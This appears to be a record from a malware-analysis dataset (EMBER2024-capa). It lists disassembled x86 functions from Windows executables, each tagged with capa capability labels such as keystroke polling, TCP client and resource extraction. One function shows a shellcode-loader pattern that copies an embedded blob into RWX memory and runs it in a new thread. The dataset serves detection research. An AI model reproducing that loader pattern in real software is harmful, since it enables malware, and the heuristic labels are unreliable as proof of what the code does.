joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4e404d
Capabilities:
Log keystrokes via polling

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, ecx
mov eax, dword [esi]
xor ebx, ebx
push edi
mov dword [ebp - 4], ebx
call dword [eax + 0x190]
test al, al
jns 0x4e406f
or eax, 0xffffffff
jmp 0x4e4074
mov eax, dword [0x5cebc4]
mov edx, dword [esi]
lea ecx, [ebp - 4]
push ecx
push eax
mov ecx, esi
call dword [edx + 0x290]
push dword [ebp - 4]
mov dword [ebp - 8], eax
push 0x5cfbcc
call fcn.004547c5
mov edi, eax
pop ecx
pop ecx
cmp edi, esi
je 0x4e4111
push 0x11
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
jl 0x4e4111
cmp edi, ebx
je 0x4e40c6
mov eax, dword [edi]
push ebx
mov ecx, edi
call dword [eax + 0x200]
push eax
push 0x5d0554
call fcn.004547c5
pop ecx
pop ecx
mov ebx, eax
cmp dword [ebp - 8], 2
jne 0x4e411a
test ebx, ebx
je 0x4e40fd
mov eax, dword [esi]
mov ecx, esi
call dword [eax + 0x198]
test al, 0x40
je 0x4e4111
cmp dword [ebp - 4], 0
je 0x4e40fd
mov eax, dword [ebx]
push esi
mov ecx, ebx
call dword [eax + 0x224]
mov ecx, dword [ebp + 8]
neg eax
sbb eax, eax
inc eax
mov dword [ecx], eax
mov eax, esi
jmp 0x4e4113
mov eax, dword [esi]
push 5
push 0
push edi
mov ecx, esi
call dword [eax + 0x1d0]
mov ecx, dword [ebp + 8]
mov dword [ecx], eax
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret 4
cmp dword [ebp - 8], 3
jne 0x4e4111
test edi, edi
je 0x4e4111
mov eax, dword [edi]
push esi
mov ecx, edi
call dword [eax + 0x15c]
test eax, eax
je 0x4e4111
mov eax, dword [esi]
mov ecx, esi
call dword [eax + 0x164]
test eax, eax
je 0x4e4111
mov eax, dword [esi]
push 0
mov ecx, esi
call dword [eax + 0x218]
mov eax, dword [esi]
push 0
push 1
push 5
push edi
mov ecx, esi
call dword [eax + 0x328]
mov edx, dword [ebp + 8]
xor ecx, ecx
test eax, eax
setne cl
mov dword [edx], ecx
jmp 0x4e4113
Function at 0x4e7a14
Capabilities:
Log keystrokes via polling

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
test byte [0x5d81c0], 1
push ebx
push esi
push edi
mov ebx, ecx
jne 0x4e7a43
or dword [0x5d81c0], 1
mov ecx, 0x5d81bc
call fcn.00401c40
push 0x575871
call fcn.0054198e
pop ecx
mov edi, dword [ebp + 0xc]
test edi, edi
jne 0x4e7a4f
call fcn.00447de9
mov eax, dword [ebx + 0x318]
test eax, eax
je 0x4e7ac8
cmp dword [eax + 0x20], 0
je 0x4e7ac8
test eax, eax
je 0x4e7a66
mov eax, dword [eax + 0x20]
cmp dword [edi], eax
jne 0x4e7ac8
mov eax, dword [edi + 4]
dec eax
je 0x4e7aa7
dec eax
je 0x4e7a7d
dec eax
jne 0x4e7ac8
mov esi, 0x428e
jmp 0x4e7aac
push 0x11
mov esi, 0x3ea1
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
mov ecx, 0x8000
test cx, ax
je 0x4e7aac
mov eax, dword [ebx]
mov ecx, ebx
call dword [eax + 0x31c]
test eax, eax
je 0x4e7aac
add esi, 3
jmp 0x4e7aac
mov esi, 0x3ea0
push esi
mov ecx, 0x5d81bc
call fcn.00401930
test eax, eax
je 0x4e7a4a
mov eax, dword [0x5d81bc]
mov dword [edi + 0xc], eax
xor eax, eax
inc eax
jmp 0x4e7aca
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret 0xc
Function at 0x504d5b
Capabilities:
Get common file path

Disassembly:
push 0x224
mov eax, 0x569f84
call fcn.00543ce5
mov esi, ecx
mov dword [ebp - 0x22c], esi
call fcn.0052d855
push 0x15c
call fcn.004473b4
pop ecx
mov ecx, eax
mov dword [ebp - 0x228], ecx
xor ebx, ebx
mov dword [ebp - 4], ebx
cmp ecx, ebx
je 0x504d9f
mov eax, dword [esi + 4]
push ebx
push eax
call fcn.0052e858
jmp 0x504da1
xor eax, eax
or dword [ebp - 4], 0xffffffff
push eax
mov ecx, esi
call fcn.0052d827
call fcn.00451023
mov eax, dword [eax + 4]
mov edi, dword [eax + 0x88]
lea eax, [ebp - 0x218]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov esi, eax
push 0x5c
pop eax
mov word [ebp + esi*2 - 0x218], ax
inc esi
xor eax, eax
mov dword [ebp - 0x228], esi
mov word [ebp + esi*2 - 0x218], ax
mov dword [ebp - 0x224], ebx
cmp edi, ebx
je 0x504f41
cmp dword [edi + 4], ebx
jle 0x504f41
lea ecx, [ebp - 0x21c]
call fcn.00401c40
mov edx, dword [edi]
xor eax, eax
inc eax
push eax
mov dword [ebp - 4], eax
push esi
lea eax, [ebp - 0x218]
push eax
push ebx
lea eax, [ebp - 0x21c]
push eax
mov ecx, edi
call dword [edx + 8]
test eax, eax
je 0x504f25
lea ecx, [ebp - 0x220]
call fcn.00401c40
mov eax, dword [ebp - 0x224]
mov byte [ebp - 4], 2
cmp eax, 9
jne 0x504e76
push dword [ebp - 0x21c]
lea eax, [ebp - 0x220]
push str.10__s
push eax
call fcn.00402800
add esp, 0xc
jmp 0x504ea8
jge 0x504e96
push dword [ebp - 0x21c]
inc eax
push eax
lea eax, [ebp - 0x220]
push str._d__s
push eax
call fcn.00402800
add esp, 0x10
jmp 0x504ea8
lea eax, [ebp - 0x21c]
push eax
lea ecx, [ebp - 0x220]
call fcn.00401f10
push 0x15c
call fcn.004473b4
pop ecx
mov dword [ebp - 0x230], eax
mov byte [ebp - 4], 3
test eax, eax
je 0x504ecc
mov ecx, eax
call fcn.00508416
mov esi, eax
jmp 0x504ece
xor esi, esi
push dword [ebp - 0x220]
mov eax, dword [esi]
mov ecx, esi
mov byte [ebp - 4], 2
call dword [eax + 0x10]
mov eax, dword [esi]
lea ecx, [ebx + 0xe110]
push ecx
mov ecx, esi
call dword [eax + 0xc]
push ebx
mov ecx, edi
call fcn.0045d55d
mov eax, dword [eax]
mov edx, dword [esi]
push eax
mov ecx, esi
call dword [edx + 0x24]
mov ecx, dword [ebp - 0x22c]
push esi
call fcn.0052d827
mov ecx, dword [ebp - 0x220]
inc dword [ebp - 0x224]
add ecx, 0xfffffff0
call fcn.00402080
mov esi, dword [ebp - 0x228]
mov ecx, dword [ebp - 0x21c]
or dword [ebp - 4], 0xffffffff
add ecx, 0xfffffff0
call fcn.00402080
inc ebx
cmp ebx, dword [edi + 4]
jl 0x504e0f
call fcn.00543d68
ret
Function at 0x50ea35
Capabilities:
Get keyboard layout
Log keystrokes via polling

Disassembly:
push 0x74
mov eax, 0x56a739
call fcn.00543ce5
mov eax, dword [ebp + 8]
lea ecx, [ebp - 0x7c]
mov dword [ebp - 0x80], eax
call fcn.00401c40
mov esi, dword [ebp + 0xc]
xor edi, edi
mov dword [ebp - 4], edi
cmp esi, 0x13
jne 0x50ea63
push 0x5905d0
jmp 0x50eaa6
push 0x66
lea eax, [ebp - 0x78]
push edi
push eax
call fcn.005440c0
add esp, 0xc
push edi
call dword [sym.imp.USER32.dll_GetKeyboardLayout]
push eax
push edi
push esi
call dword [sym.imp.USER32.dll_MapVirtualKeyExW]
shl eax, 0x10
add esi, 0xffffffdf
or eax, 1
cmp esi, 0xe
ja 0x50ea95
or eax, 0x1000000
push 0x32
lea ecx, [ebp - 0x78]
push ecx
push eax
call dword [sym.imp.USER32.dll_GetKeyNameTextW]
lea eax, [ebp - 0x78]
push eax
lea ecx, [ebp - 0x7c]
call fcn.004019a0
lea ecx, [ebp - 0x7c]
call fcn.00403350
mov esi, dword [ebp - 0x7c]
cmp dword [esi - 0xc], edi
jle 0x50eaf7
push edi
lea ecx, [ebp - 0x7c]
call fcn.0045a727
movzx ebx, ax
push ebx
call dword [sym.imp.USER32.dll_IsCharLowerW]
test eax, eax
jne 0x50eadd
inc edi
cmp edi, dword [esi - 0xc]
jl 0x50eabe
jmp 0x50eaf7
movzx eax, bx
push eax
call fcn.00546e39
pop ecx
movzx eax, ax
push eax
push edi
lea ecx, [ebp - 0x7c]
call fcn.00416030
mov esi, dword [ebp - 0x7c]
push dword [esi - 0xc]
mov ecx, dword [ebp - 0x80]
push esi
call fcn.00403ec0
cmp dword [ebp + 0x10], 0
jne 0x50eb13
mov ecx, dword [ebp - 0x80]
push 0x2b
call fcn.004477bf
lea ecx, [esi - 0x10]
call fcn.00402080
call fcn.00543d68
ret 0xc

Function at 0x523676
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ebx
push esi
mov esi, dword [ebp + 8]
test byte [esi + 4], 1
push edi
mov ebx, ecx
je 0x52368e
mov edi, dword [esi + 0xc]
jmp 0x5236ce
push 5
push dword [esi + 0xc]
push dword [esi + 8]
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov edi, eax
test edi, edi
jne 0x5236a7
call fcn.0045186e
push edi
push dword [esi + 8]
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov edi, eax
test edi, edi
jne 0x5236bc
call fcn.0045186e
push edi
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
test edi, edi
jne 0x5236ce
call fcn.0045186e
call fcn.00451023
cmp dword [eax + 0x3c], 0
je 0x5236e3
push edi
mov ecx, ebx
call fcn.00522551
mov edi, eax
push dword [ebp + 0xc]
push edi
call fcn.0052359c
mov dword [ebp + 8], eax
mov eax, dword [ebx + 0x5c]
test eax, eax
je 0x523701
push eax
call dword [sym.imp.KERNEL32.dll_GlobalFree]
and dword [ebx + 0x5c], 0
mov eax, dword [ebp + 8]
test eax, eax
je 0x52370d
mov edi, eax
mov dword [ebx + 0x5c], eax
or dword [esi + 4], 1
mov dword [esi + 0xc], edi
pop edi
pop esi
pop ebx
pop ebp
ret 8
Function at 0x528608
Capabilities:
Log keystrokes via polling

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 8]
cmp dword [ebx + 4], 0x20a
push esi
mov esi, ecx
jne 0x528652
mov eax, dword [esi + 0x54]
mov ecx, dword [eax + 0xb4]
test ecx, ecx
je 0x528652
call fcn.00527ef0
test eax, eax
je 0x528652
push dword [ebx + 0xc]
mov eax, dword [esi + 0x54]
push dword [ebx + 8]
mov ecx, dword [eax + 0xb4]
push dword [ebx + 4]
call fcn.0040bde0
xor eax, eax
inc eax
jmp 0x52886a
cmp dword [ebx + 4], 0x100
push edi
jne 0x528861
mov edi, dword [sym.imp.USER32.dll_GetKeyState]
push 0x12
call edi
test ax, ax
jl 0x52874f
push 0x11
call edi
test ax, ax
jl 0x52874f
mov eax, dword [esi + 0x54]
mov ecx, dword [eax + 0xb4]
test ecx, ecx
je 0x52874f
mov eax, dword [ebx + 8]
cmp eax, 0xd
je 0x5286c2
cmp eax, 0x20
jbe 0x52874f
cmp eax, 0x24
jbe 0x5286b5
cmp eax, 0x26
je 0x5286b5
cmp eax, 0x28
jne 0x52874f
call fcn.00527ef0
test eax, eax
je 0x52874f
mov ecx, esi
call fcn.0044f670
mov eax, dword [esi + 0x54]
mov ecx, dword [eax + 0xb4]
call fcn.00527ef0
test eax, eax
mov eax, dword [esi + 0x54]
mov ecx, dword [eax + 0xb4]
je 0x5286f7
push dword [ebx + 0xc]
push dword [ebx + 8]
push dword [ebx + 4]
call fcn.0040bde0
jmp 0x52885c
call fcn.0044d6b0
test eax, eax
je 0x52885c
mov eax, dword [esi + 0x54]
add eax, 0xb8
push eax
mov ecx, esi
call fcn.0044d6e8
mov eax, dword [esi + 0x54]
mov eax, dword [eax + 0xb4]
test eax, eax
jne 0x528725
xor edi, edi
jmp 0x528728
mov edi, dword [eax + 0x20]
mov esi, dword [esi + 0x54]
mov ecx, dword [esi + 0xb4]
movzx esi, word [esi + 0x20]
call fcn.0044d6b0
push edi
push esi
push 0x111
push dword [eax + 0x20]
call dword [sym.imp.USER32.dll_PostMessageW]
jmp 0x52885c
mov eax, dword [ebx + 8]
sub eax, 9
je 0x52882b
sub eax, 0x12
je 0x528803
sub eax, 0xb
je 0x528771
dec eax
dec eax
jne 0x528861
push 0x12
call edi
test ax, ax
jl 0x528861
push 0x11
call edi
test ax, ax
jl 0x528861
mov eax, dword [esi + 0x54]
mov ecx, dword [eax + 0xb4]
test ecx, ecx
je 0x528861
call fcn.00527ef0
test eax, eax
jne 0x52885c
mov eax, dword [esi + 0x54]
mov ecx, dword [eax + 0xb4]
push 1
call fcn.00527e6a
mov eax, dword [esi + 0x54]
mov eax, dword [eax + 0xb4]
push dword [eax + 0x20]
mov edi, dword [sym.imp.USER32.dll_GetParent]
call edi
push eax
call fcn.0044c054
test eax, eax
je 0x52885c
mov esi, dword [esi + 0x54]
lea ebx, [esi + 0x90]
mov esi, dword [esi + 0xb4]
push dword [esi + 0x20]
call edi
push eax
call fcn.0044c054
push 1
push ebx
push dword [eax + 0x20]
call dword [sym.imp.USER32.dll_InvalidateRect]
jmp 0x52885c
mov eax, dword [esi + 0x54]
mov ecx, dword [eax + 0xb4]
test ecx, ecx
je 0x528817
push 0
call fcn.00527e6a
mov ecx, esi
call fcn.0044d17e
test eax, eax
je 0x528861
mov ecx, esi
call fcn.0044d17e
jmp 0x528855
push dword [esi + 0x20]
mov edi, dword [sym.imp.USER32.dll_GetParent]
call edi
push eax
call fcn.0044c054
test eax, eax
je 0x528861
push dword [esi + 0x20]
call edi
push eax
call fcn.0044c054
push 0
push esi
mov ecx, eax
call fcn.004484d4
mov ecx, eax
call fcn.0044f670
xor eax, eax
inc eax
jmp 0x528869
push ebx
mov ecx, esi
call fcn.00449e7f
pop edi
pop esi
pop ebx
pop ebp
ret 4
Function at 0x53b1f5
Capabilities:
Log keystrokes

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
mov esi, ecx
mov eax, dword [esi]
push edi
call dword [eax + 0x150]
mov edi, eax
movzx eax, word [ebp + 8]
push 2
push eax
call dword [sym.imp.USER32.dll_MapVirtualKeyW]
cmp byte [ebp + 0xc], 0
movzx eax, ax
jne 0x53b23a
test edi, edi
jl 0x53b23a
cmp ax, 0x20
je 0x53b22f
cmp word [ebp + 8], 0x71
jne 0x53b23a
mov eax, dword [esi]
push edi
mov ecx, esi
call dword [eax + 0x168]
pop edi
pop esi
pop ebp
ret 8

Function at 0x540a86
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x5d1614]
jne 0x540a90
repz ret
jmp fcn.00548e16

Function at 0x557e78
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.0054877a
and dword [ebp - 4], 0
cmp dword [0x5d9e54], 0
mov ebx, eax
jne 0x557f29
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x557fda
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x557fda
push eax
call fcn.00548708
mov dword [esp], 0x59df70
push edi
mov dword [0x5d9e54], eax
call esi
push eax
call fcn.00548708
mov dword [esp], 0x59df5c
push edi
mov dword [0x5d9e58], eax
call esi
push eax
call fcn.00548708
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x5d9e5c], eax
call esi
push eax
call fcn.00548708
pop ecx
mov dword [0x5d9e64], eax
test eax, eax
je 0x557f29
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00548708
pop ecx
mov dword [0x5d9e60], eax
mov eax, dword [0x5d9e60]
cmp eax, ebx
je 0x557f81
cmp dword [0x5d9e64], ebx
je 0x557f81
push eax
call fcn.00548783
push dword [0x5d9e64]
mov esi, eax
call fcn.00548783
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x557f81
test edi, edi
je 0x557f81
call esi
test eax, eax
je 0x557f78
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x557f78
test byte [ebp - 0xc], 1
jne 0x557f81
or dword [ebp + 0x10], 0x200000
jmp 0x557fba
mov eax, dword [0x5d9e58]
cmp eax, ebx
je 0x557fba
push eax
call fcn.00548783
pop ecx
test eax, eax
je 0x557fba
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x557fba
mov eax, dword [0x5d9e5c]
cmp eax, ebx
je 0x557fba
push eax
call fcn.00548783
pop ecx
test eax, eax
je 0x557fba
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x5d9e54]
call fcn.00548783
pop ecx
test eax, eax
je 0x557fda
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x557fdc
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x401a20
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Create thread
Resolve dns

Disassembly:
sub esp, 0x10
push esi
push 6
push 1
mov esi, ecx
push 2
call dword [sym.imp.WS2_32.dll_socket]
cmp eax, 0xffffffff
mov dword [esi + 8], eax
jne 0x401a43
xor eax, eax
pop esi
add esp, 0x10
ret 8
push ebx
mov ebx, dword [esp + 0x20]
push ebp
mov ebp, dword [esp + 0x20]
push edi
push ebp
call dword [sym.imp.WS2_32.dll_gethostbyname]
push ebx
mov edi, eax
mov word [esp + 0x14], 2
call dword [sym.imp.WS2_32.dll_htons]
mov word [esp + 0x12], ax
mov eax, dword [edi + 0xc]
push 0x10
mov ecx, dword [eax]
lea eax, [esp + 0x14]
push eax
mov edx, dword [ecx]
mov ecx, dword [esi + 8]
push ecx
mov dword [esp + 0x20], edx
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x401aa6
mov edx, dword [esi + 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_ResetEvent]
mov eax, dword [esi + 0xc]
push 0x3e8
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
jmp 0x401a4e
push 0
push 0
push esi
push 0x401ad0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
pop edi
pop ebp
pop ebx
mov eax, 1
pop esi
add esp, 0x10
ret 8

Function at 0x401bc0
Capabilities:
Allocate or change rwx memory
Create thread
Spawn thread to rwx shellcode

Disassembly:
push esi
push 0x40
push 0x3000
push 0x4dd5c
mov esi, ecx
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
test eax, eax
jne 0x401bdd
pop esi
ret
push edi
push 0
push 0
push eax
mov ecx, 0x13757
add esi, 0x4dd74
mov edi, eax
push eax
push 0
push 0
rep movsd dword es:[edi], dword [esi]
call dword [sym.imp.KERNEL32.dll_CreateThread]
pop edi
mov eax, 1
pop esi
ret
Function at 0x419a20
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
mov esi, dword [ebp + 0x10]
push 0xf00021
mov edx, dword [esi + 4]
mov ecx, dword [esi]
mov eax, dword [esi + 0xc]
sub eax, edx
push eax
mov eax, dword [esi + 8]
sub eax, ecx
push eax
push edx
push ecx
mov ecx, dword [ebp + 0xc]
push ecx
call dword [sym.imp.GDI32.dll_PatBlt]
mov edi, dword [ebp + 8]
push edi
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
mov ebx, eax
lea eax, [eax + 5]
add eax, 3
and eax, 0xfffffffc
call fcn.00409e60
mov dword [ebp - 4], esp
cmp dword [ebp - 4], 0
je 0x419aeb
add ebx, 2
mov eax, dword [ebp - 4]
push ebx
push eax
push edi
call dword [sym.imp.USER32.dll_GetWindowTextA]
test eax, eax
je 0x419aeb
mov bx, 0x140
mov edi, dword [ebp + 0x14]
mov eax, edi
and al, 0xf
cmp al, 0xc
je 0x419a9e
mov ebx, edi
and bx, 0xf
or bx, 0x150
test edi, 0x80
je 0x419aa9
or bh, 8
and edi, 0x8000000
je 0x419ac4
mov eax, dword [0x454a5c]
mov ecx, dword [ebp + 0xc]
push eax
push ecx
call dword [sym.imp.GDI32.dll_SetTextColor]
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 4]
mov edx, dword [ebp + 0xc]
movzx eax, bx
push eax
push esi
push 0xffffffffffffffff
push ecx
push edx
call dword [sym.imp.USER32.dll_DrawTextA]
test edi, edi
je 0x419aeb
mov eax, dword [ebp - 8]
mov ecx, dword [ebp + 0xc]
push eax
push ecx
call dword [sym.imp.GDI32.dll_SetTextColor]
lea esp, [ebp - 0x14]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x419ec0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov eax, dword [esp + 8]
sub esp, 4
push ebx
push esi
mov esi, dword [esp + 0x10]
push edi
push ebp
push 2
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov edi, eax
test edi, edi
jne 0x419eeb
xor eax, eax
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret 0x20
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ebx, eax
push edi
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov esi, eax
test esi, esi
jne 0x419f0f
xor eax, eax
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret 0x20
push ebx
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov ebp, eax
test ebp, ebp
jne 0x419f2a
xor eax, eax
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret 0x20
mov edi, ebp
mov ecx, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov eax, dword [esp + 0x20]
xor ecx, ecx
mov cl, ah
mov edx, eax
mov dword [esp + 0x10], 0
shl ecx, 8
shr edx, 0x10
mov byte [esp + 0x10], dl
xor edx, edx
or ecx, dword [esp + 0x10]
mov dl, al
shl edx, 0x10
mov eax, dword [esp + 0x28]
or ecx, edx
mov edx, eax
shr edx, 0x10
mov dword [ebp + 0x28], ecx
mov dword [esp + 0x10], 0
xor ecx, ecx
mov byte [esp + 0x10], dl
mov cl, ah
xor edx, edx
shl ecx, 8
mov dl, al
shl edx, 0x10
or ecx, dword [esp + 0x10]
or ecx, edx
mov eax, dword [esp + 0x24]
mov edx, eax
mov dword [ebp + 0x44], ecx
shr edx, 0x10
xor ecx, ecx
mov dword [esp + 0x10], 0
mov cl, ah
mov byte [esp + 0x10], dl
shl ecx, 8
xor edx, edx
or ecx, dword [esp + 0x10]
mov dl, al
shl edx, 0x10
mov eax, dword [esp + 0x2c]
or ecx, edx
xor edx, edx
mov dl, al
mov dword [ebp + 0x48], ecx
shl edx, 0x10
xor ecx, ecx
mov cl, ah
shl ecx, 8
shr eax, 0x10
or ecx, edx
xor edx, edx
mov dl, al
mov eax, dword [esp + 0x30]
or ecx, edx
xor edx, edx
mov dl, al
mov dword [ebp + 0x64], ecx
shl edx, 0x10
xor ecx, ecx
mov cl, ah
shl ecx, 8
shr eax, 0x10
or ecx, edx
xor edx, edx
mov dl, al
mov eax, dword [esp + 0x34]
or ecx, edx
xor edx, edx
mov dl, al
mov dword [ebp + 0x54], ecx
shl edx, 0x10
xor ecx, ecx
mov cl, ah
shl ecx, 8
push 0
shr eax, 0x10
or ecx, edx
xor edx, edx
mov dl, al
or ecx, edx
mov dword [ebp + 0x50], ecx
call dword [sym.imp.USER32.dll_GetDC]
mov edi, eax
push 0
push ebp
lea ecx, [ebp + 0x68]
push ecx
push 4
push ebp
push edi
call dword [sym.imp.GDI32.dll_CreateDIBitmap]
mov esi, eax
push edi
push 0
call dword [sym.imp.USER32.dll_ReleaseDC]
push ebp
call dword [sym.imp.KERNEL32.dll_GlobalFree]
mov eax, esi
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret 0x20
Function at 0x41d379
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
mov ebx, dword [esp + 8]
push esi
mov eax, ebx
push edi
mov edi, ecx
shr eax, 0x10
test ax, ax
mov dword [edi + 0x40], ebx
jne 0x41d39b
cmp dword [edi + 0x3c], 0
jne 0x41d39b
movzx eax, bx
mov dword [edi + 0x3c], eax
call fcn.00434053
mov esi, dword [eax + 0xc]
push 5
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
push esi
mov ecx, edi
push dword [esp + 0x18]
push eax
call fcn.0041d3c8
pop edi
pop esi
pop ebx
ret 8

Function at 0x41d416
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
mov ebx, ecx
xor edi, edi
call fcn.00434053
mov esi, dword [eax + 0xc]
push 5
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x41d447
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push esi
mov ecx, ebx
push dword [esp + 0x18]
push edi
call fcn.0041d45a
pop edi
pop esi
pop ebx
ret 8
Function at 0x41d757
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov eax, 0x43ac44
call fcn.0040a188
sub esp, 0x18
push ebx
push esi
mov esi, ecx
push edi
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x1c], esi
mov eax, dword [esi + 0x48]
mov edi, dword [esi + 0x44]
mov dword [ebp - 0x18], eax
call fcn.00434053
cmp dword [esi + 0x40], 0
mov ebx, dword [eax + 0xc]
je 0x41d796
call fcn.00434053
mov ebx, dword [eax + 0xc]
push 5
push dword [esi + 0x40]
push ebx
call dword [sym.imp.KERNEL32.dll_FindResourceA]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov edi, eax
test edi, edi
je 0x41d7a4
push edi
call dword [sym.imp.KERNEL32.dll_LockResource]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
jne 0x41d7b2
or eax, 0xffffffff
jmp 0x41d89a
mov ecx, esi
call fcn.0041d6cd
mov dword [ebp - 0x14], eax
call fcn.0041f607
xor edi, edi
cmp dword [ebp - 0x14], edi
mov dword [ebp - 0x20], edi
je 0x41d7e9
push dword [ebp - 0x14]
call dword [sym.imp.USER32.dll_IsWindowEnabled]
test eax, eax
je 0x41d7e9
push edi
push dword [ebp - 0x14]
call dword [sym.imp.USER32.dll_EnableWindow]
mov dword [ebp - 0x20], 1
push esi
mov dword [ebp - 4], edi
call fcn.0041f5bb
push dword [ebp - 0x14]
call fcn.0041f109
push ebx
push eax
push dword [ebp - 0x18]
mov ecx, esi
call fcn.0041d45a
cmp eax, edi
je 0x41d85c
test byte [esi + 0x24], 0x10
je 0x41d82a
push 4
mov ecx, esi
pop ebx
call fcn.0041e8dc
test ah, 1
je 0x41d822
push 5
pop ebx
push ebx
mov ecx, esi
call fcn.004218df
cmp dword [esi + 0x1c], edi
je 0x41d85c
push 0x97
push edi
push edi
push edi
push edi
push edi
mov ecx, esi
call fcn.0041ea4d
jmp 0x41d85c
or dword [ebp - 4], 0xffffffff
cmp dword [ebp - 0x20], edi
je 0x41d870
push 1
push dword [ebp - 0x14]
call dword [sym.imp.USER32.dll_EnableWindow]
cmp dword [ebp - 0x14], edi
je 0x41d889
call dword [sym.imp.USER32.dll_GetActiveWindow]
cmp eax, dword [esi + 0x1c]
jne 0x41d889
push dword [ebp - 0x14]
call dword [sym.imp.USER32.dll_SetActiveWindow]
mov eax, dword [esi]
mov ecx, esi
call dword [eax + 0x58]
mov ecx, esi
call fcn.0041d707
mov eax, dword [esi + 0x2c]
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret

Function at 0x41fab7
Capabilities:
Get graphical window text

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x41faef
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [esp + 0xc]
push eax
call fcn.00422648
push eax
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [esp + 8]
push 0xffffffffffffffff
call fcn.00422620
jmp 0x41fafb
mov eax, dword [ecx]
push dword [esp + 8]
call dword [eax + 0x88]
pop esi
ret 4